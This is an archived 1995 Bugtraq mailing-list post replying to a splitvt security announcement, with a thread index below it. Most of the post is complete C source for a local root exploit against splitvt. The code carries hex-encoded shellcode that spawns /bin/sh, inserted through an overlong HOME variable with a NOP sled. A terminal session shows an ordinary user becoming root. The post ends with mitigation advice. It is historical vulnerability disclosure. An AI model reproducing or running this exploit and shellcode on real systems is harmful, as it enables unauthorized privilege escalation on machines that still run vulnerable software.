Bugtraq mailing list archives
Re: SECURITY: Announcing Splitvt 1.6.3
From: aleipold () clark net (Alex Leipold)
Date: Thu, 14 Dec 1995 15:21:13 -0500
The splitvt hole works as follows [compile this and test it on a linux box to see if you have the problem:] -------------------sp--------------------------- long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } ----------------------------------cut here-------------------- so then compile: gcc sp.c -o sp then do:
whoami
aleipold
.sp
bash$ .sp bash$ splitvt bash$ whoami root bash$ trouble.... A solution is either to one) delete splitvt two) get a new version three) as root, chmod 700 splitvt
Current thread:
- Cracked: WINDOWS.PWL Michael S. Fischer (Dec 05)
- Another tmpfs bug in SunOS 4 Arfst Ludwig (Dec 02)
- Re: Another tmpfs bug in SunOS 4 Pete Shipley (Dec 07)
- little whole on Suns concerning /dev/kbd Arfst Ludwig (Dec 02)
- Re: little whole on Suns concerning /dev/kbd Pete Shipley (Dec 07)
- Re: Cracked: WINDOWS.PWL [most services accessed by any version Rich Graves (Dec 05)
- fork() Alex Leipold (Dec 10)
- Re: fork() Scott Barman (Dec 11)
- Re: fork() Tom Jones (Dec 12)
- SECURITY: Announcing Splitvt 1.6.3 Sam Lantinga (Dec 13)
- Re: SECURITY: Announcing Splitvt 1.6.3 Alex Leipold (Dec 14)
- Re: fork() Scott Barman (Dec 11)
- Re: fork() JaDe (Dec 11)
- Re: fork() Nathan Lawson (Dec 11)
- Another tmpfs bug in SunOS 4 Arfst Ludwig (Dec 02)